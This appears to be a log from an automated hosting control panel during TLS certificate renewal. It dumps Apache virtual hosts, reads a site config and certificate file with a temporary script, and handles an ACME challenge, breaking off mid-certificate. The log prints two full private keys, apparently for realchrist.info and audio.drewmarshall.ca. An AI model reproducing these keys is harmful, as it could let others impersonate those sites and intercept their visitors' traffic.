                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:19)
         port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
                 alias www.carelinksoutreach.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-30 06:00:17: 

PUT: /tmp/pkp414292

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/realchrist_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-30 06:00:17: 

chmod 755 /tmp/pkp414292; /tmp/pkp414292; rm /tmp/pkp414292

2025-09-30 06:00:17: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/realchrist_www_info.conf	1393

<VirtualHost *:80>
    ServerName	realchrist.info
    ServerAlias	www.realchrist.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/realchrist_www
    <Directory /var/www/realchrist_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/realchrist/www_access.log combined
    ErrorLog	/var/log/apache2/realchrist/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	realchrist.info
    ServerAlias	www.realchrist.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8df29f43e5e79f1c31041f6ee4962ae9.crt
    DocumentRoot	/var/www/realchrist_www
    <Directory /var/www/realchrist_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/realchrist/www_secure_access.log combined
    ErrorLog	/var/log/apache2/realchrist/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-09-30 06:00:17: 

PUT: /tmp/pkp277398

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/8df29f43e5e79f1c31041f6ee4962ae9.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-30 06:00:17: 

chmod 755 /tmp/pkp277398; /tmp/pkp277398; rm /tmp/pkp277398

2025-09-30 06:00:17: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/8df29f43e5e79f1c31041f6ee4962ae9.crt	5377
31:7b:19:9d:50:fa:64:33:85:fd:5f:6f:ae:65:64:f1

-----BEGIN CERTIFICATE-----
MIIFDzCCA/egAwIBAgISBp7CHwLh/AqZJix9ISXQ2+N2MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwOTMwMDUwMTQ1WhcNMjUxMjI5MDUwMTQ0WjAaMRgwFgYDVQQD
Ew9yZWFsY2hyaXN0LmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQC4og69AOn09Ry/4oLOc6+14P0pX/fcryNp6H7wq9coK1Qda8lb2wUMfIGV9Av9
qP4KZ+wxzqqhmKOEFAWtcR7aUqsdcutqDX7B+s+Wrn+cvqSjwovgrMJ47EyP5Cj7
cV9xgJJRgsVhCK8/9GIkWA5+9IAijnj5leQdw6JoPvukj+YjTa6eXQpcQOoYUiTX
yeYCMXAGjS1NSYWZH3xOq0UqPRZLzPQgKf2l59KX+q5DPj/aUzKiUiF9s4EHNfhE
0xadcbGwLGoUBAIGWguBKWLNd8k7+WMvW0fiT/6rRwFr8AGlILJxHugDDIfSMX1U
BVqsh3bCN/35qXvVpcJ41ztvAgMBAAGjggI0MIICMDAOBgNVHQ8BAf8EBAMCBaAw
HQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFNpE4BtK9CoGsAG7Am+pRSJNaJy8MB8GA1UdIwQYMBaAFOernw8sM6BT
015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMy5pLmxlbmNyLm9yZy8wLwYDVR0RBCgwJoIPcmVhbGNocmlzdC5pbmZvghN3
d3cucmVhbGNocmlzdC5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQo
MCYwJKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTE5LmNybDCCAQMGCisG
AQQB1nkCBAIEgfQEgfEA7wB1AKRCxQZJYGFUjw/U6pz7ei0mRU2HqX8v30VZ9idP
OoRUAAABmZk1D30AAAQDAEYwRAIgDTe1OafXI7nSNOhVK2Gtg21d/UpFb8E+a6Ho
+/z/UQUCIBode/GU91lUdlSEfQpiPq0XVdz0/KzurcCo3jpzd3QsAHYAGYbUxyiq
b/66A294Kk0BkarOLXIxD67OXXBBLSVMx9QAAAGZmTUPigAABAMARzBFAiEAwz8O
SsBzUm8iv9WJJYCc4WXHYBsR8oc7B04rQ1C5FJ0CIBsU0Xq1uF/Gp+XbIyi7n/gF
aKaks5JukuAYyJsn0Bm5MA0GCSqGSIb3DQEBCwUAA4IBAQALsFVtvi78UTloGV0f
KfAZhBbvoXU+NflHSpKyLHAXedG/fDZhk81dxsCBAultJpnZCG6WegdVP68PDPgA
O6v8OyA0puL1YT0yeME3I93ujmPjppdS+U3BEOkQ3fTNh+nfmqYW+rQPr6Xrl5is
t/2MKiZ6u5IS4JF8tu1HEHjGUzhrUWmZ6VD06xAQAmXYeZdZ/epObY1isYWGLADf
beflyjYS5XnhGvsL5orlMoFnuIGQe2IcLLTpuilnIZQUB/Cty0iIjoZ4IlxLimyJ
Y/wwp/287uHPvcqgutQcjhfUFB6+2Icgei3Pw1buo9NwWABahhlKadzL5ERDeqWo
n2x4
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC4og69AOn09Ry/
4oLOc6+14P0pX/fcryNp6H7wq9coK1Qda8lb2wUMfIGV9Av9qP4KZ+wxzqqhmKOE
FAWtcR7aUqsdcutqDX7B+s+Wrn+cvqSjwovgrMJ47EyP5Cj7cV9xgJJRgsVhCK8/
9GIkWA5+9IAijnj5leQdw6JoPvukj+YjTa6eXQpcQOoYUiTXyeYCMXAGjS1NSYWZ
H3xOq0UqPRZLzPQgKf2l59KX+q5DPj/aUzKiUiF9s4EHNfhE0xadcbGwLGoUBAIG
WguBKWLNd8k7+WMvW0fiT/6rRwFr8AGlILJxHugDDIfSMX1UBVqsh3bCN/35qXvV
pcJ41ztvAgMBAAECggEBAIqKT7TSsrr0EZaKSMzRUc+P+2bIdBxL7q7Rni7JQrEJ
khxhfL5IIgm0gygZ78VuwPDd+gWFpdOLzWaV/4ydjSEVVwDJ8ouphKvZn1rZpTfg
dXnLyVnVSDekV+7ArV+/OnbYmvI+xgyBj77Via7rxDTPEjbb4Tqmln0fBwZh/EEF
0rY3yVzObCi7vOIkeIdhZQuqWBGkftQFqh71X6wpqF9jBIj3rRJ3mqf0yeTFZBdo
xzhfIx++vvoko4g5odSVTNsCw15t5kzgCYgIeKp4svdyDzHwjNlQ7BjimL4q/ZfM
VLWNYFIh5KUJOVbtGAKcZWcTi6NrL42h6HPk+Wol/8ECgYEA3ooukKJXy9PFBg36
UiV9Kq6aTbGvywjyVLlcqD20mNFknv1bCAPK/PQe+Ji/I7DWyJ+DP91WpLmpTCV6
g9cr/x9iR4C+rkI3mMs4b8eJ9N8kL9sxseNdTHiuO7fJ4HkGadPc5YLqC3kbNinP
YaXPpznd40hcECA6PKUx6EcMnxMCgYEA1GTM/iSLIdfcxcZJMPa28tCS/d7GDziy
p+q3d0/XtNZkQJqiyJ3zPKrfyf8nK/fUS3QVpWV6Q/SfUAKFzbo0A/Vrq3sCmD02
iMHDcTsCxO3s8rBIwsdRicAYsenurb2YW/Y8ZgZkOD/oFPpvRh6hxeu5LefvvL57
VZCV7tsLkbUCgYAQXs/gGeElgFWNBXg1lMZpXmDBeGG7KNRSwTP8uFVRrI2fWHna
1BSZmQeyN+JPqNGT/o/0Ib8e7P10OYmSq0B0SwW6xtDAFuTqG4DyUBZo6gVKc/Bq
6pPRbUs732A9YAnFvS0RwRigcW88A8VapIzq+0nET21eTlCaZ3iNYrSd+wKBgHbJ
LXDRpVK3NI0T+ak9wlII3rzHVAP9VMXe2t8Ks3w7D3SmR3ZmCDyc4G5Lmm/Xuk68
zMJk/71z2YnY71aA1kiEgMQ2FtxoF9DidVklhMX4vzV37CmraendmrIeQFPBHq4I
B/2Tg4eGDll1Orh/t0BHNpj7B7SK39WZ+JDOxyilAoGATMxWkac1bnY629YeWZkq
kP/JLX+fKxqN3RkYPz+1ARnEAEiqN6SKEJ3eNirnRLYl5zBnpImYETqw/LZeFhTM
HOwMnl77vhq1EjepgyqoH2EkYFneKnM3yIlVGN0iqywpWxcR1kgo6MXaguEfcYJy
Fv5mOsvvQ6Zbfr/BFjW17Ns=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-09-30 06:00:17: Establishing a connection
2025-09-30 06:00:17: Establishing a connection
2025-09-30 06:00:17: 

PUT: /tmp/pkp880817

#!/bin/bash
if [ -d "/var/www/drewmarshall_audio/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-09-30 06:00:18: 

chmod 755 /tmp/pkp880817; /tmp/pkp880817; rm /tmp/pkp880817

2025-09-30 06:00:18: 


1


2025-09-30 06:00:18: Establishing a connection
2025-09-30 06:00:18: 

PUT: /tmp/pkp912159

#!/bin/bash
mkdir -p "/var/www/drewmarshall_audio/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_audio/.well-known/acme-challenge/"
cat > fNmJJP007tODjNtmOk2H-YAU8aXBuGTo9d0fFbZZDW4 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
fNmJJP007tODjNtmOk2H-YAU8aXBuGTo9d0fFbZZDW4.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 fNmJJP007tODjNtmOk2H-YAU8aXBuGTo9d0fFbZZDW4


2025-09-30 06:00:19: 

chmod 755 /tmp/pkp912159; /tmp/pkp912159; rm /tmp/pkp912159

2025-09-30 06:00:19: 




2025-09-30 06:00:24: Establishing a connection
2025-09-30 06:00:24: 

PUT: /tmp/pkp459935

#!/bin/bash
mkdir -p "/var/www/drewmarshall_audio/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_audio/.well-known/acme-challenge/"
rm fNmJJP007tODjNtmOk2H-YAU8aXBuGTo9d0fFbZZDW4


2025-09-30 06:00:24: 

chmod 755 /tmp/pkp459935; /tmp/pkp459935; rm /tmp/pkp459935

2025-09-30 06:00:24: 




2025-09-30 06:00:24: Establishing a connection
2025-09-30 06:00:24: 

PUT: /tmp/pkp968380

#!/bin/bash
temp_file=$(mktemp)
TARGET=33fbf8d7936a8c67fb764b1ea4759d7a.crt

cat > $temp_file <<'endmsg'
4c:4c:3e:1d:c2:0f:7d:02:d4:9c:f0:e2:51:13:f6:34

-----BEGIN CERTIFICATE-----
MIIFBzCCA++gAwIBAgISBsGeoszxCi+BF4FCGrJmih78MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwOTMwMDUwMTU0WhcNMjUxMjI5MDUwMTUzWjAgMR4wHAYDVQQD
ExVhdWRpby5kcmV3bWFyc2hhbGwuY2EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQC2VdaoXctxomw7V5DTf9wxpJXGPSVC5lNG9CySDWyMWeSHuzUOXryL
ccMltqVLBaRwJv9bj8iGg9sQNOlTFvydcWaS+clj6a9Gk712ebm41o/7g0cfW+gR
5/UfmDrR/w9c4gUfmtRAiyaVKMTl8j3xAvjygGj1O3BTj1MVEvInnoolZ2//UL/M
/46mzZ1GwTo9WpxfzIM63YkicQ8SxfYFFUPg9OflUzctHaPPex225ShWlEYNOfZ+
C4zRqrR9UAZNXKg7sJqJptzqOrW5oYPwDJh+oVhua/p9VDTgLMrk0hdYHchwOMmo
UHY4cWmjfJ5BkS8EOePbaa3Kiko0XgTlAgMBAAGjggImMIICIjAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFARIzj/LVDmyWY3C0CM532HyC1H7MB8GA1UdIwQYMBaAFOer
nw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wIAYDVR0RBBkwF4IVYXVkaW8uZHJld21h
cnNoYWxsLmNhMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCG
Hmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTI1LmNybDCCAQQGCisGAQQB1nkCBAIE
gfUEgfIA8AB2ABmG1Mcoqm/+ugNveCpNAZGqzi1yMQ+uzl1wQS0lTMfUAAABmZk1
MSgAAAQDAEcwRQIgNEymkX3vpmK7898jY4PQZ+XkTdz95IntA4XvM086znICIQDC
p0whyE0c8m5/RpJpY2oX4P8RG9wO1A4HaEqz9Y1ZTQB2AMz7D2qFcQll/pWbU87p
snwi6YVcDZeNtql+VMD+TA2wAAABmZk1MXgAAAQDAEcwRQIgUvu6A/kqABvfIxAO
h3XUIAEN/sqT0XTgMS7dtsMhXOsCIQDXgULDBiP2up7OBefDyNZD4eP53Wpz7Btn
Opod//MNQjANBgkqhkiG9w0BAQsFAAOCAQEApAb3RHbOMDAvNaRmK9F5rlElnYfU
KGogf/9gEZaWTqeuXRFszL1YeL8Jf3EO1YKo06qF0EPFRZYia13wSS3lAzgJe2hW
vmhhAvKQqd6fzSqhQcaBQONyZ3hVnN1a1dBPPaX3JaKzxo0OVnWKWZ20bgaggoid
TWfdRD+bXBzZTGLSkQLJYHl2scrb31+EgCZSKBSfy9GodF9BAq5m8FFrHlH57oxv
DRxUf8eh4Dsi7RPHByiiuQStzomE3IKUbt5qYUh0wXti9SyVSE6rKZ+4IcF+ouYf
UNT22/0UtefERb3VTIMYmUu6ZgDfU1wn1sQ+zJDBkRm6eLeU1+kk8XCJfw==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEwAIBADANBgkqhkiG9w0BAQEFAASCBKowggSmAgEAAoIBAQC2VdaoXctxomw7
V5DTf9wxpJXGPSVC5lNG9CySDWyMWeSHuzUOXryLccMltqVLBaRwJv9bj8iGg9sQ
NOlTFvydcWaS+clj6a9Gk712ebm41o/7g0cfW+gR5/UfmDrR/w9c4gUfmtRAiyaV
KMTl8j3xAvjygGj1O3BTj1MVEvInnoolZ2//UL/M/46mzZ1GwTo9WpxfzIM63Yki
cQ8SxfYFFUPg9OflUzctHaPPex225ShWlEYNOfZ+C4zRqrR9UAZNXKg7sJqJptzq
OrW5oYPwDJh+oVhua/p9VDTgLMrk0hdYHchwOMmoUHY4cWmjfJ5BkS8EOePbaa3K
iko0XgTlAgMBAAECggEBAI0HQ6qiMXNJD7GufwQ3hxaWmInmTWW7RHpC7h5hZ63+
8XXSZK0itW6dpTUMWjj2ukNMxoIJai4w2kVkx3tO8kDMr2vK6+vtmXZbW1XBvNas
jl0ZIu+sZIlFAiFX21cFktpir1fMp5LsjgEcsX6xqRs7E1Zt38CeIrleyAIqz0W4
WBQdKSLyDua39pLSEo/2cE/Rf158F5NM7TOjwMHI8JrNYAlrsTnEAVZDvQ4cY26H
VtWu81aUqIMGiGDksf6kLFE/u4ohrtWtG3k8sWoVaLODzcyxgAuRRT8VnCLznDny
w4DyYOKCmxKjQwGtkLDwJHM9TQJLA3ZKbBSVA/OJhdkCgYEA8XpVO3pLe1r7hkvL
GN83HnMbzghOO76G1kToZIjhypqFZuWzcoC5AlbB6KN7vSiQo6w8reLY08NnfZ2X
k6PTBinQK0kSgsX2TvnSlODysRTHQRD0jBZAR/RXTjidYc/lbODVDB5dXTu4dIIh
5lUNz0PbLX0/DkZY1lrDVbXB38MCgYEAwUz6R9TZiuc/yptEQ+REUnFxFLPlehUt
t808m0dpHKPu/I1NQ06JUpzR3w9ipfZ2q+5xCvOF5XhvqRGle1BhuVtQYq09iUSq
J6stIy+TBdb5ve1KJuQZEVkGnyjZa/ubetz83uuCnGfqXm5XQhq5PjjchLIjvjaG
T04805WAJjcCgYEAzYnKGIk8zG+h3iqPYclFWkayKQnKxXGjxaf7gu87+T7TQ8VK
m7DTSRldjc3xmg14J8iIEZ4f3wfZBAPqrAFqsjlO9jkJZ4Rm5cwhIRXjnTTJcSmk
bcTWzCg/U9Y+p63UY3tv/BOwdpZJp+nIPwywZ3YjjjGoRVc9cJ7q2v6NWg8CgYEA
kYQZham+esrLQwLPySw2IroznpouzlDTMeLXFS4U+vKOHqFg4KJmzkIv2/QBF18K
xzOg9dWNnsmjhWs7YDGK37bWNPKluIhwb5x1Rl+yFltXdpsDj3N3S4/xZC+kPZ4T
1dI2qrowgP3ZeW0nUyQ6/5ReraZNMgxp35nOQJny9tECgYEAnmv4xlqClhc2QWcI
xyQuAMLhWm0PfPp1KVx8yldVH0BFp9Bq9OXJRyQ/bUrOeLEIQxAoB8FNT/QbdGnO
/4/sKjYv6TjDofzvcyjgUdooLxSSJ09pNe3wYV2lJ8fgta2blDsZm3TGhQYz5ufH
c8VBiDHxeRxxrQZqWVHbkYpeNtw=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
